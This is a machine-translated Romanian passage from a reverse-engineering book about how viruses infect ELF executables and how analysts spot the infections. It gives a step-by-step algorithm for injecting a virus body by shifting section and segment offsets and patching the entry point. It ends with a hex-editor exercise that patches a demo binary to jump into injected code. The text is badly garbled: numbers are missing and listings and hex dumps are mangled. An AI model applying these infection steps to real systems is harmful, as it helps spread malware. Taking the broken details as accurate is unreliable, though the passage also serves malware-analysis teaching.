ascunde faptul existenței sale Ar trebui să fiți pregătit pentru instrucțiunile jmp pentru a trece prin întregul fișier, folosind epiloguri și proloage „stânga” pentru a fuziona în funcțiile din jur Dar această înșelăciune este ușor dezvăluită prin referințe încrucișate generate automat de dezasamblatorul IDA Pro (nu există referințe încrucișate la prologuri / epiloguri false!) Apropo, algoritmul pe care l-am luat în considerare nu este în întregime corect Un lanț de instrucțiuni nop poate apărea oriunde în program (de exemplu, în interiorul unei funcții), iar apoi fișierul infectat nu va mai funcționa Pentru a preveni acest lucru, unii viruși efectuează o serie de verificări suplimentare, în special, se asigură că instrucțiunile nop sunt situate între două funcții, identificându-le prin comenzi de prolog / epilog Injectarea în secțiunea de date este și mai ușoară Virusul caută un șir lung de zerouri separate de caractere ASCII care pot fi citite (mai precis, imprimabile) și, după ce a găsit un astfel de șir, crede că nu este pe teritoriul nimănui format ca urmare a alinierii liniilor de text Deoarece șirurile de text sunt plasate din ce în ce mai mult într-o secțiune rodata numai pentru citire, un virus trebuie să fie pregătit pentru a stoca toate celulele pe care le modifică în stivă și/sau în memoria dinamică Este amuzant, dar virușii de acest tip sunt destul de greu de detectat Într-adevăr, prezența caracterelor ASCII neprintabile între liniile de text este destul de normală Poate că acestea sunt compensații sau alte structuri de date, în cel mai rău caz - gunoi lăsat de linker! De exemplu, în fig Figura arată cum arăta fișierul pisici înainte de (a) și după (b) a fost infectat Sunteți de acord că faptul că un fișier este infectat nu este deloc atât de evident Orez Vedere a fișierului pisicii înainte de (a) și după (b) infectarea acestuia Partea a IV-a Tehnici avansate de dezasamblare Cercetătorii care au ceva experiență cu IDA Pro pot obiecta aici: ei spun, care sunt problemele? Am mutat cursorul la primul caracter după sfârșitul șirului ASCIIZ, am apăsat tasta , iar dezasamblatorul a deschis instantaneu codul virusului, țesut frumos în linii de text (lista ) De fapt, acest lucru se întâmplă doar în teorie Printre caracterele neimprimabile ale virusului se numără și cele care pot fi citite Analizatorul euristic IDA Pro, confundându-le pe acestea din urmă cu șiruri de text „adevărate”, pur și simplu nu va permite dezasamblarea acestora Ei bine, cel puțin până când sunt „anonimizate” în mod explicit apăsând tasta În plus, un virus poate insera un simbol special la începutul fiecărui fragment, care face parte dintr-o anumită instrucțiune a mașinii și încurcă dezasamblatorul Drept urmare, IDA Pro dezasambla un singur fragment de virus (și chiar și acesta este incorect), după care dezasamblarea se va opri Acest lucru, la rândul său, îl va conduce pe cercetător la concluzia că are de-a face cu o structură de date legitimă, în care nu există un cod de mașină rău intenționat Vai! Oricât de puternic este dezasamblatorul lui IDA Pro, încă nu este atotputernic și mai trebuie să lucrați la orice listă rezultată Cu toate acestea, cu o anumită experiență în dezasamblare, multe instrucțiuni ale mașinii sunt recunoscute într-o groapă hexagonală dintr-o privire Lista Fragment dintr-un fișier infectat cu virusul UNIX NuxBe julIet, „untându-se” peste secțiunea de date rodata: rodata: rodata: rodata: rodata: rodata: rodata: rodata: •rodata: •rodata: A rodata: A rodata: A rodata : AE rodata: B rodata: B rodata: BA ,rodata: BA rodata: BF rodata: C aFileNameTooLon db „Numele fișierului prea lung”, mișcare ebx, mov ecx, A h jrrp loc A aTooManyLevelsO db „Prea multe niveluri de legături simbolice”, C aConnectionRefu db 'Conexiune refuzată', aOperationTimed db „Timpul de funcționare expirat”, loc - A : mov edx, Dh int h; Linux- mov ecx, h muta eax, jnp loc E db h; P aTooManyReferen db 'Prea multe referințe: can t îmbinare , rodata: E rodata: E •rodata: E rodata: E rodata: E rodata: EA rodata: EF rodata: F rodata: FA rodata: FA rodata: FF •rodata: oc E : mov int push mov add esx, iFDh h ; Linux - sys creat [ebx+ B h], bh ecx, A h lângă ptr unk db h; P aCanTSendAfterS db „Pot”, h, nu se trimite după închiderea prizei”, Cu toate acestea, nu toate fișierele executabile reușesc să strângă numărul necesar de octeți interlinii, iar apoi virusul poate recurge la căutarea unei zone mai mult sau mai puțin obișnuite și apoi la comprimarea acesteia În cel mai simplu caz, se caută un lanț, format din identice Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD octeți comprimați folosind algoritmul RLE În acest caz, virusul trebuie să se asigure că nu se ciocnește de elementele aflate în mișcare După ce a primit controlul și a făcut tot ce a vrut să facă, virusul aruncă pe stivă decompresorul codului comprimat, care este responsabil pentru aducerea fișierului la starea inițială Este ușor de observat că doar secțiunile accesibile atât pentru scris, cât și pentru citire sunt infectate în acest fel (adică cele mai tentante secțiuni rodata și text nu mai sunt potrivite, decât dacă virusul îndrăznește să-și schimbe atributele, dând la iveală faptul că sunt infectate) cu capul) Cei mai încăpățânați viruși pot infecta și secțiuni de date neinițializate Nu, aceasta nu este o greșeală, astfel de viruși există Apariția lor se explică prin împrejurarea că este încă dificil să plasați un virus cu drepturi depline în „găurile” rămase după aliniere, dar încărcătorul de viruși se potrivește destul de bine acolo Secțiunile de date neinițializate, strict vorbind, nu numai că nu trebuie să fie încărcate de pe disc în memorie (deși unele clone UNIX le încarcă), dar este posibil să nu fie deloc în fișier, fiind create dinamic de încărcătorul de sistem "pe a zbura" Cu toate acestea, virusul nu le va căuta în memorie! În schimb, le citește manual direct din fișierul infectat însuși (cu toate acestea, în unele cazuri, accesul la fișierul executabil curent este blocat cu prudență de sistemul de operare) La prima vedere, virusul plasându-și corpul în secțiunea de date neinițializate nu schimbă nimic (poate chiar demască virusul) Dar când încerci să prinzi un astfel de virus, îți va aluneca literalmente din mâini Secțiunea de date neinițializate nu diferă vizual de toate celelalte secțiuni ale fișierului și poate conține orice, de la o serie lungă de zerouri până la informații despre drepturile de autor ale dezvoltatorului În special, creatorii distribuției FreeBSD fac exact asta (lista ) ' Lista Așa arată secțiunea bss a majorității fișierelor FreeBSD OOOOE : FF FF FF FF FF FF FF FF E : E : E : PENTRU E E GCC: (GNU) c E : E , (r OOOOE : C B lansare) [FreeBSD F B : E E | E NU) c OOOOF CO: | C (eliberare) F D : B D [FreeBSD] □ F E : | E O D Multe dispozitive de dezasamblare (inclusiv IDA Pro) din motive destul de logice nu încarcă conținutul secțiunilor de date neinițializate, marcând în mod explicit această circumstanță cu un semn de întrebare dublu (Listing ) Trebuie să examinați fișierul direct în HIEW sau orice alt editor hexadecimal, analizând formatul a out/ELF „manual”, deoarece editorii hexadecimale populari nu îl acceptă Spune-mi sincer: ești cu adevărat gata să faci asta? Deci, oricare ar fi răspunsul tău, virușii de acest tip au toate șansele de a supraviețui, chiar dacă nu provoacă epidemii masive bss în dezasamblatorul IDA Pro și majoritatea celorlalți bss: ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: A ?? ?? ?? ?? ?? ?? ?? ??-?? '? ?? ?? ?? ?? ?? ?? "???■'????'???????" bss: B ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: C ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "???????????????????" bss: D ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ????" bss: E ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ?? "????????? ?????????" Partea IV Tehnici avansate de dezasamblare Infecție prin extinderea secțiunii de cod a unui fișier Cel mai mare ascuns virusului este oferit de introducerea în secțiunea de cod a fișierului infectat, situat în mijlocul acestuia din urmă Corpul virusului, fuzionand cu codul mașinii sursă, devine practic imposibil de distins de un program „normal”, iar o astfel de infecție poate fi detectată doar prin analiza algoritmului său Extinderea nedureroasă a secțiunii de cod este posibilă doar în fișierele ELF și COFF (prin „nedureroasă” aici ne referim la faptul că nu este nevoie de recompilare a fișierului infectat), și se realizează datorită faptului remarcabil că adresele virtuale de pornire ale segmentelor/secțiunilor sunt separate de decalajele lor fizice, numărate de la începutul fișierului Algoritmul pentru infectarea unui fișier ELF în general arată astfel (injecția în fișierele COFF se realizează într-un mod similar): □ Virusul deschide fișierul și, după citirea antetului acestuia, se asigură că este într-adevăr un fișier ELF □ Tabelul antet secțiunii este mutat în jos cu o sumă egală cu lungimea corpului virusului Pentru a face acest lucru, virusul crește conținutul câmpului e shoff, care ocupă octeții h - h din antetul ELF Notă Antetul tabelului de secțiuni, precum și secțiunile în sine, sunt relevante doar pentru fișierele link, încărcătorul de fișiere executabile le ignoră, indiferent dacă sunt prezente în fișier sau nu □ Privind prin tabelul antet segmentelor, virusul găsește segmentul cel mai preferat pentru infecție, adică segmentul indicat de punctul de intrare □ Lungimea segmentului găsit este mărită cu o cantitate egală cu dimensiunea corpului virusului Acest lucru se face prin actualizarea sincronă a câmpurilor p filez și p memz □ Toate celelalte segmente sunt deplasate în jos, în timp ce câmpul p offset al fiecăruia dintre ele este mărit cu lungimea corpului virusului □ Analizând antetul tabelului de secțiuni (dacă este prezent doar în fișier), virusul găsește secțiunea care este cea mai preferată pentru infectare (de regulă, secțiunea situată în ultimul segment este infectată: acest lucru salvează virusul de a avea pentru a muta toate celelalte secțiuni în jos) □ Mărimea secțiunii infectate (câmpul sh size) este mărită cu o sumă egală cu dimensiunea corpului virusului □ Toate secțiunile de coadă ale segmentului sunt deplasate în jos, în timp ce câmpul sh offset al fiecăreia dintre ele este mărit cu lungimea corpului virusului (dacă virusul se injectează singur în ultima secțiune a segmentului, acest lucru nu este necesar) □ Virusul se atașează la sfârșitul segmentului infectat, deplasând fizic conținutul restului fișierului în jos □ Pentru a prelua controlul, virusul corectează punctul de intrare în fișier (e entry) sau injectează jmp în corpul său în punctul de intrare adevărat Înainte de a discuta despre „urmele” caracteristice ale introducerii unui virus, să vedem ce secțiuni sunt de obicei situate în ce segmente Se pare că schema de distribuție a acestora este departe de a fi lipsită de ambiguitate și este posibilă o mare varietate de variații În unele cazuri, secțiunile de cod și date sunt plasate în segmente separate, în altele, secțiunile de date numai în citire sunt combinate cu secțiunile de cod într-un singur segment În consecință, ultima secțiune a segmentului de cod va fi diferită de fiecare dată Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD Majoritatea fișierelor includ mai mult de o secțiune de cod, iar aceste secțiuni sunt aranjate aproximativ așa cum se arată în Lista : Lista Aspectul secțiunilor de cod ale unui fișier tipic init conține codul de inițializare plt conține tabelul de legături subrutine text conține codul programului principal finit conține codul final al programului Prezența secțiunii finit cauzele textul nu mai este ultima secțiune a segmentului de cod al unui fișier, așa cum este adesea cazul Astfel, în funcție de strategia de partiționare a secțiunilor în segmente, ultima secțiune a fișierului este de obicei fie secțiunea finit, fie rodata Secțiunea finit este, în cele mai multe cazuri, o secțiune minusculă a cărei infecție este puțin probabil să treacă neobservată Codul situat în secțiunea finit și care interceptează direct firul de execuție a programului pare oarecum ciudat, dacă nu suspect (de obicei, controlul către finit este transmis indirect, ca argument la funcția atexit) Intruziunea va fi și mai vizibilă dacă ultima secțiune din segmentul infectat este secțiunea rodata, deoarece codul mașinii nu intră niciodată în date în cursul normal al evenimentelor Intrarea în sfârșitul primei secțiuni a segmentului de cod (ultima secțiune a segmentului care precede segmentul de cod) nu trece neobservată, deoarece segmentul de cod începe aproape întotdeauna cu o secțiune init, numit din adâncimea codului de pornire și, ca de obicei, conține câteva instrucțiuni de mașină Pur și simplu, virusul nu va avea unde să se piardă aici, iar prezența lui devine imediat vizibilă! Virușii mai avansați sunt încorporați la sfârșitul secțiunii text, împingând în jos totul din fișier Recunoașterea unei astfel de infecții este mult mai dificilă, deoarece vizual structura fișierului pare nedistorsionată Cu toate acestea, există încă câteva indicii În primul rând, punctul de intrare original al marii majorități a fișierelor este situat la începutul secțiunii de cod, nu la sfârșitul acesteia În al doilea rând, fișierul infectat are un cod de pornire atipic Și, în al treilea rând, nu tuturor virușilor le pasă de alinierea segmentelor (secțiunilor) Ultimul caz merită o atenție specială Încărcătorul de sistem, care nu știe nimic despre existența secțiunilor, este indiferent la gradul de aliniere a acestora Cu toate acestea, în toate fișierele executabile normale, secțiunile sunt aliniate cu atenție la valoarea specificată în câmpul sh addralign Când un fișier este infectat cu un virus, acesta din urmă este departe de a fi întotdeauna atât de precis, iar unele secțiuni pot ajunge în mod neașteptat la mai multe adrese Acest lucru nu va afecta performanța programului, dar faptul invaziei virusului este imediat demascat De asemenea, nu este necesară alinierea segmentelor (bootloader-ul o va face singur dacă este necesar), dar eticheta programatorului dictează ca secțiunile să fie aliniate chiar dacă câmpul P-align este zero (adică nu este necesară alinierea) Toate linkerii normale aliniază segmentele la cel puțin un multiplu de de octeți, deși nu este întotdeauna cazul Cu toate acestea, dacă segmentele care urmează segmentului de cod sunt aliniate la o valoare mai mică, ar trebui să aruncați o privire mai atentă la un astfel de fișier Un alt punct important: atunci când un virus se injectează la începutul unui segment de cod, își poate crea propriul segment înaintea acestuia Și aici virusul întâmpină brusc o problemă destul de interesantă Nu poate muta segmentul de cod în jos, deoarece de obicei începe cu un offset zero în fișier, suprapunând segmentele care îl precedă Programul infectat poate funcționa, dar aspectul segmentelor devine prea neobișnuit pentru a fi ignorat Alinierea funcțiilor în cadrul secțiunilor poate fi considerată în general „dovezi materiale” Multiplicitatea alinierii funcțiilor nu este declarată nicăieri și în niciun fel, iar fiecare programator tinde să alinieze funcțiile în felul său Unii folosesc alinierea la adresele care sunt multiple ale Partea a IV-a Tehnici avansate de dezasamblare h, altele - h, h sau chiar h! Este aproape imposibil să se determine gradul de aliniere fără un dezasamblator de calitate Este necesar să scrieți adresele de început ale tuturor funcțiilor și să găsiți cel mai mare divizor prin care toate sunt divizibile fără rest Adăugându-se la sfârșitul segmentului de cod, virusul va face cel mai probabil o greșeală cu alinierea adresei de prolog al funcției (dacă se ocupă chiar de crearea funcției în acest loc!), iar apoi alinierea prologului va fi diferit de gradul de aliniere acceptat de toate celelalte funcții Virusul Linux Vit este un exemplu clasic de virus care intră într-un fișier cu o extensie de segment de cod Notă În mod curios, diferiți autori descriu strategiile folosite de virus pentru a infecta în diferite moduri Astfel, enciclopedia virusului Evgeny Kaspersky (http://www viruslist com/viruslist html?id= ) afirmă că virusul Vit este scris la începutul secțiunii de cod a fișierului infectat, în timp ce își plasează corpul la sfârșitul secțiunii de cod segment de fișier (http://www mcafee com/usZlocaLcontent/white papers/threat center/wp mvanvoers vb conf pdf) Un fragment dintr-un fișier ELF infectat cu virusul Vit este prezentat în fig Câmpurile modificate de virus sunt încadrate Orez Fragment dintr-un fișier infectat cu virusul Linux VII Mulți viruși, și în special virusul Lin/Obsidian, își fac identitatea „uitând” să modifice antetul tabelului de secțiuni (sau modificându-l incorect) atunci când sunt injectați în mijlocul unui fișier După cum sa menționat mai devreme, în procesul de încărcare a fișierelor executabile în memorie, încărcătorul de sistem citește informații despre segmente și proiectează întregul conținut al acestora Structura internă a segmentelor nu-l interesează deloc Chiar dacă antetul tabelului de secțiuni lipsește sau este completat incorect, programul lansat pentru execuție va funcționa corect Cu toate acestea, în ciuda acestui fapt, în marea majoritate a fișierelor executabile, antetul tabelului de secțiuni este încă prezent și o încercare de a-l elimina se termină foarte prost - popularul depanator GDB și o serie de alte utilitare pentru lucrul cu fișierele ELF refuză să recunoască astfel de un fișier ca „al lor” Atunci când un fișier executabil este infectat cu un virus care gestionează incorect antetul tabelului de secțiuni, comportamentul depanatorului devine imprevizibil, demascând astfel faptul unei invazii de virus Să enumerăm câteva dintre cele mai caracteristice semne de infectare a fișierelor executabile Rețineți că virușii care se infiltrează în fișierele de legătură procesează destul de corect antetul tabelului de secțiuni, altfel fișierele infectate vor eșua imediat, iar răspândirea virusului se va opri imediat: □ Câmpul e shoff indică „trecut” adevăratul antet al tabelului de secțiuni (așa se comportă virusul Lin/Obsidian) sau are o valoare zero dacă antetul tabelului de secțiuni nu este gol (așa se face virusul Linux Garnelis) se comportă) □ Câmpul e shof f are o valoare diferită de zero, dar nu există un antet de tabel de secțiuni în fișier Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD □ Antetul tabelului de secțiuni nu este conținut la sfârșitul fișierului, există mai multe dintre aceste antete sau antetul tabelului de secțiuni se încadrează în limitele de proprietate ale unuia dintre segmente □ Suma lungimilor tuturor secțiunilor unui segment nu corespunde cu lungimea totală a acestuia □ Codul programului se află într-o zonă care nu aparține niciunei secțiuni Trebuie spus că studiul fișierelor cu antetul tabelului de secțiuni distorsionat este o problemă destul de dificilă Dezasamblatoarele și depanatoarele fie blochează, fie afișează incorect un astfel de fișier, fie nu îl încarcă deloc Prin urmare, dacă intenționați să studiați fișierele infectate mai mult de o zi sau două, cel mai bine ar fi să vă scrieți propriul utilitar pentru analizarea acestora Schimbați secțiunea codului în jos Este greu de explicat motivele pentru care virușii se infiltrează la începutul secțiunii de cod (segment) a fișierului infectat sau își creează propria secțiune (segment propriu), plasând această secțiune (segment) în față Această tehnică nu oferă niciun avantaj față de scrierea corpului viral la sfârșitul secțiunii de cod (segment) și, în plus, este mult mai dificil de implementat Cu toate acestea, astfel de viruși există Ele vor fi discutate în detaliu în această secțiune Cel mai înalt nivel de stealth este atins atunci când este infiltrat la începutul secțiunii text, care se face în același mod ca și încorporarea finală Singura diferență este că, pentru a menține fișierul infectat să funcționeze, virusul modifică câmpurile sh addr și p vaddr, reducându-le cu dimensiunea corpului său și fără a uita nevoia de aliniere (dacă alinierea este cu adevărat necesară) Primul câmp specifică adresa de pornire virtuală pentru proiecția secțiunii text, a doua este adresa virtuală de pornire pentru proiecția segmentului de cod Ca urmare a acestei mașinațiuni, virusul ajunge chiar la începutul secțiunii de cod și se simte destul de încrezător, deoarece, cu codul de pornire, pare imposibil de distins de un program „normal” (Fig ) Cu toate acestea, operabilitatea fișierului infectat nu mai este garantată, iar comportamentul acestuia riscă să devină complet imprevizibil, deoarece adresele virtuale ale tuturor secțiunilor anterioare vor fi distorsionate Dacă, la compilarea unui program, linkerul s-a ocupat de crearea unei secțiuni de elemente relocabile, atunci virusul (teoretic) poate folosi aceste informații pentru a aduce secțiunile anterioare într-o stare normală Cu toate acestea, marea majoritate a fișierelor executabile sunt proiectate să funcționeze la adrese fizice strict definite și, prin urmare, nu sunt relocabile Dar chiar dacă există elemente relocabile, virusul nu va putea urmări toate cazurile de adresare relativă Aproape întotdeauna nu există legături relative între secțiunea de cod și secțiunea de date și, prin urmare, atunci când un virus invadează sfârșitul secțiunii de cod, fișierul nu funcționează în majoritatea cazurilor Cu toate acestea, în cadrul unui segment de cod, cazurile de adresare relativă între secțiuni sunt mai degrabă o regulă decât o raritate Aruncă o privire la lista dezasamblată a utilitarului ping, preluată din Linux Red Hat (Listing ) Comanda de apel situată în mit și subrutina pe care o numește, situată în text, partajați exact h - i h == i Bh octeți, iar acesta este numărul care apare în codul mașinii (dacă mai aveți îndoieli, uitați-vă la „Setul de referință al instrucțiunilor Inte”: instrucțiunea E h este o instrucțiune de apel relativ) Lista Un fragment al utilitarului ping, care, ca multe alte programe, folosește legături relative între secțiuni ale unui segment de cod init: init proc near; COD XREF: start+ ip init: E B apel sub init: C retn init: init endp text: sub proc lângă ; COD XREF: initip Partea a IV-a Tehnici avansate de dezasamblare Orez Schemă tipică pentru infectarea unui fișier executabil prin extinderea secțiunii de cod Nu este surprinzător, după infectare, fișierul va înceta să funcționeze (sau va începe să funcționeze incorect)! Dar, dacă se întâmplă, încărcați fișierul într-un depanator/dezasamblator și vedeți dacă apelurile relative la primele secțiuni de cod se potrivesc cu destinația lor Puteți recunoaște cu ușurință faptul infecției, chiar și fără a fi specialist în domeniul inversării Nimic pe lumea asta nu este gratuit! Pentru secretul invaziei virusului, acesta din urmă trebuie să plătească cu distrugerea majorității fișierelor infectate Virușii mai corecti își plasează corpul la începutul segmentului de cod - în secțiunea init Operabilitatea fișierelor infectate nu este afectată, dar prezența virusului devine ușor de detectat, deoarece init este rareori mare și chiar și o cantitate mică de cod străin trezește imediat suspiciuni Unii viruși (de exemplu, virusul Linux NuxBee) se scriu singuri peste segmentul de cod al fișierului infectat, mutând partea suprascrisă la sfârșitul secțiunii de cod (sau, chiar mai simplu, la sfârșitul ultimului segment al fișierului infectat) fişier) După ce a primit controlul și a făcut toate „treburile casnice”, virusul aruncă o bucată din corpul său pe stivă și restabilește conținutul original al segmentului de cod Având în vedere că modificarea segmentului de cod este interzisă implicit și nu există niciun motiv pentru care virusul să o permită (în acest caz, faptul de infectare este foarte ușor de detectat), virusul trebuie să recurgă la manipulări de nivel scăzut cu atributele paginilor de memorie, apelând funcția mprotect, care practic nu se găsește în aplicațiile „cinstite” O altă trăsătură caracteristică: în locul unde se termină virusul și începe zona neștersă a corpului programului original, se formează un fel de defect Cel mai probabil, chiar și cu siguranță, interfața dintre cele două medii va trece în mijlocul funcției programului original, dacă nu taie deja instrucțiunea mașinii Dezasamblatorul va arăta niște gunoi și o coadă de funcție cu un prolog lipsă Creează-ți propria secțiune Cea mai corectă, deși cea mai puțin ascunsă, modalitate de a injecta într-un fișier este să vă creați propria secțiune (segment), sau chiar două secțiuni - pentru cod și, respectiv, pentru date (Listing ) Puteți plasa această secțiune oriunde Cel puțin la începutul dosarului, cel puțin la sfârșit (am luat deja în considerare varianta introducerii într-un segment cu extinderea secțiunilor învecinate) Nume Start End Align Base Tip Clasa es ss ds fs gs init para publ CODE Y FFFF FFFF FFFF FFFF plt B dword publ CODE Y FFFF FFFF FFFF FFFF text B A para publ CODE Y FFFF FFFF FFFF FFFF Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD -Fini в в Para Cod de public Y FFFF FFFF FFFF FFFF RODATA B B BYTE PUBL CONST Y FFFF FFFF FFFF FFFF Y ffff ffff ffff ffff • dtors a a DWORD PUBL DATE Y FFFF FFFF FFFF FFFF GOT A AB DWORD DATE PUBLIE Y FFFF FFFF FFFF FFFF Injecție între fișier și antet Dimensiunea fixă a antetului fișierelor a out a încetinit evoluția acestui format, în general, deloc rău și a dus în cele din urmă la moartea acestuia În formatele ulterioare, această limitare a fost depășită Deci, în fișierele ELF, lungimea antetului este stocată în câmpul e ehsize de doi octeți, care ocupă h și h octeți, numărând de la începutul fișierului Mărind antetul fișierului infectat cu o sumă egală cu lungimea corpului său și deplasând restul fișierului în jos, virusul se poate copia fără durere în spațiul rezultat între sfârșitul antetului real și începutul programului Tabel de antet Nici măcar nu trebuie să mărească lungimea segmentului de cod, deoarece în majoritatea cazurilor acesta începe chiar de la primul octet al fișierului Singurul lucru pe care virusul va trebui să-l facă este să schimbe câmpurile p offset ale tuturor segmentelor în jos cu cantitatea corespunzătoare Segmentul care începe de la zero offset nu trebuie mutat nicăieri, altfel virusul nu va fi proiectat în memorie Cert este că decalajele de segment dintr-un fișier sunt numărate de la începutul fișierului, dar nu de la sfârșitul antetului, ceea ce este ilogic și ideologic greșit, dar simplifică programarea Câmpul e phoff, care specifică offset-ul tabelului de antet program, trebuie de asemenea ajustat O operațiune similară ar trebui făcută cu decalaje de secțiuni, altfel depanarea/dezasamblarea fișierului infectat va deveni imposibilă, deși un astfel de fișier va rula normal Virușii existenți uită să corecteze conținutul câmpurilor sh offset, care este ceea ce se oferă Cu toate acestea, trebuie să fim pregătiți pentru faptul că acest neajuns va fi eliminat în următoarele generații de virus Cu toate acestea, în orice caz, această metodă de infecție este prea vizibilă În programele normale, codul executabil nu ajunge niciodată în antetul ELF, iar prezența acestuia există dovezi elocvente ale unei infecții cu virus Încărcați fișierul investigat în orice editor hexadecimal (de exemplu, HIEW) și analizați valoarea câmpului e ehsize Antetul standard care corespunde versiunilor curente ale fișierului ELF pe platforma x are o lungime de de octeți Doar nu încercați să încărcați fișierul infectat în dezasamblator Este inutil Majoritatea dintre ei, inclusiv IDA Pro, vor refuza să demonteze zona antetului, iar cercetătorul nu va ști nimic despre faptul infecției! Pe fig arată un fragment dintr-un fișier infectat cu virusul UNIX inheader Observați câmpul de lungime în casetă al antetului ELF Corpurile virușilor începând de la octetul h sunt evidențiate Punctul de intrare este, de asemenea, direcționat aici (în acest caz, este egal cu ) Orez Fragment al unui dump hexazecimal al unui fișier infectat cu virusul UNIX inheader care intră în antetul ELF Partea a IV-a Tehnici avansate de dezasamblare Alternativ, virusul s-ar putea insera între sfârșitul antetului ELF și începutul tabelului Piogram Header Infecția are loc în același mod ca în cazul precedent, dar lungimea antetului ELF rămâne neschimbată Virusul ajunge în zona de memorie „amurg”, aparținând în mod formal unuia dintre segmente, dar considerat de facto „al no man’s” și, prin urmare, ignorat de mulți depanatori și dezasamblatori Cu excepția cazului în care virusul resetează punctul de intrare în sine, dezasamblatorul nu va afișa nici măcar mesaje sau avertismente în acest sens Prin urmare, oricât de minunat este dezasamblatorul IDA Pro, este totuși necesar să vizualizați fișierele investigate în HIEW! Având în vedere că nu toți experții în securitate sunt conștienți de acest lucru, această metodă de infecție riscă să devină foarte promițătoare Exemplu practic de injectare de cod străin într-un fișier ELF Pentru experimentele de implementare, avem nevoie de un fișier executabil „în direct”, care poate fi realizat independent cu ajutorul unui compilator și al unui editor de text De exemplu, apăsați comanda rapidă de la tastatură + în Midnight Commander și introduceți programul afișat în Lista - Apoi salvați fișierul apăsând și tastând numele fișierului și compilați programul cu GCC cu setările implicite (dss filename c o filename) , Lista Program demonstrativ despre care vom injecta cod străin #include principal() { printf("LORDI - cel mai bun grup din lume \n"\ " (www lordi org) \nrnonsters, bondage and sado-maso\n"); } Încărcați fișierul rezultat într-un editor hexadecimal (# /ht- -Linux-i nume de fișier), apoi apăsați (mod) și selectați opțiunea elf/image Editorul va comuta în modul de afișare al imaginii fișierului executabil, transferându-ne automat în vecinătatea punctului de intrare marcat cu eticheta punctului de intrare Dacă nu, apăsați (goto) și introduceți punctul de intrare al șirului Ecranul ar trebui să arate ceva ca cel prezentat în Fig Să schimbăm primele două comenzi pentru încălzire: xor ebp,ebp/pop esi cu pop esi/xor ebp, ebp Să mutăm cursorul la prima comandă a mașinii (situată la c h), să apăsăm combinația de tastatură + (Asamblare) și să introducem comanda pop esi Editorul va oferi mai multe opțiuni de asamblare pentru alegerea noastră: Eh și *Ті sb Alegem Eh ca cel mai scurt ( Fh C h pur și simplu nu se va potrivi în locul alocat!), apoi asamblam comanda xor ebp, ebp în același mod Octeții modificați sunt evidențiați de editor (vezi Fig ), ceea ce este vizual și foarte frumos, dar când apăsați (salvare), această evidențiere dispare, confirmând că toate modificările au fost salvate cu succes Nu există câmpuri de sumă de control în antetul ELF și, prin urmare, nu este nevoie să vă ocupați de recalcularea acestuia Linux nu ia în considerare suma de control a unui fișier, ceea ce este un avantaj major față de Windows' Judge pentru tine: atât Linux, cât și Widows acceptă încărcare leneră la cerere Paginile de imagine sunt mapate în memorie dacă și numai dacă sunt accesate, astfel încât fișierul este gata de utilizare imediat după pornire Toate paginile lipsă sunt reîncărcate mai târziu (sau nu sunt încărcate deloc) De exemplu, partea din program responsabilă cu imprimarea nu va fi încărcată deloc dacă utilizatorul nu a selectat niciodată elementul de meniu Prinț în timpul lucrului cu programul Procesul de pornire pare să fie „pătat” în timp, fără nicio clepsidră tulburătoare pe care Windows îi place atât de mult să demonstreze Dar! La urma urmei, la calcularea sumei de control, toate paginile sunt inevitabil accesate și toate sunt încărcate în memorie, chiar dacă nu sunt necesare Se pare că avem două mecanisme - unul optimizează sarcina, celălalt o „pesimizează”, consumând tot câștigul Unde este logica?! Capitolul Dezasamblarea fișierelor ELF sub Linux și BSD Orez Fișier executabil deschis în editorul hexadecimal NTE Orez Rezultatul fișierului modificat după rearanjarea unei perechi de comenzi pe alocuri Partea IV Tehnici avansate de dezasamblare Dar dezvoltatorii Linux au mutat calculul sumei de control către dispozitivele I/O care o calculează efectiv Desigur, acest lucru nu asigură împotriva distorsiunii În special, hard disk-urile controlează doar defectele fizice, dar nu acordă atenție distorsiunilor logice (precum un virus) Cu toate acestea, nu există încă o semnificație specială în suma de control stocată direct în fișierul în sine Dacă un virus poate modifica un fișier, modifică și suma de control Conform științei, sumele de control ar trebui să fie stocate într-o „stocare securizată” separată, iar calculul lor ar trebui să fie gestionat de sistemul de fișiere sau de auditorii antivirus Niciunul nu se vede în lumea Linux Adică, în general, în lumea Linux, există atât sisteme de fișiere protejate, cât și auditori antivirus Dar, în practică, doar câțiva utilizatori le instalează Singura problemă sunt protectorii și pachetele de fișiere executabile care își controlează propria integritate În fiecare an sunt din ce în ce mai mulți UPX, protector de la Shiva etc Este mai bine să nu încorporați în fișiere împachetate sau protejate prin astfel de mijloace, cel puțin la început Dar divagam Ieșiți din editorul hex apăsând și rulați fișierul corelat Pornește, confirmându-și performanța Aceasta înseamnă că modificarea a avut succes (Fig ) Și acum va face lucruri mai serioase, încercând să introducă cod real în program care face ceva util Apare imediat întrebarea: unde ne vom infiltra? Nu există spațiu liber între segmente, nici între secțiuni Puteți (teoretic) să extindeți ultimul segment și să vă infiltrați aici Cu toate acestea, în primul rând, va fi prea vizibil și, în al doilea rând, va fi prea trist și obositor Dar nu este atât de rău pe cât pare! În mod implicit, GCC aliniază adresele de pornire ale funcțiilor de-a lungul limitei ioh, ceea ce înseamnă că chiar și fișierul nostru demo conține suficient spațiu liber: în medie h/ h = h octeți per funcție, inclusiv cei de serviciu Puteți ascunde și un mamut aici, dacă, desigur, îl dezmembrați mai întâi Aici, vedeți singuri (lista ) Lista Lanțul de comenzi DOR lăsat de compilator la sfârșitul funcției principale pentru a alinia ' ' '> * - " ' ■» «•» »•» ' •• •• ' «»» «»> rf m push push push push push push push push call hlt nop nop eax special edx ,libc csu fini ibc csu init ecx esi principal wrapper a De ce nu înlocuim pop esi/xor ebp, ebp cu jmp cu codul nostru, de unde putem face tot ce vrem, executam aceste 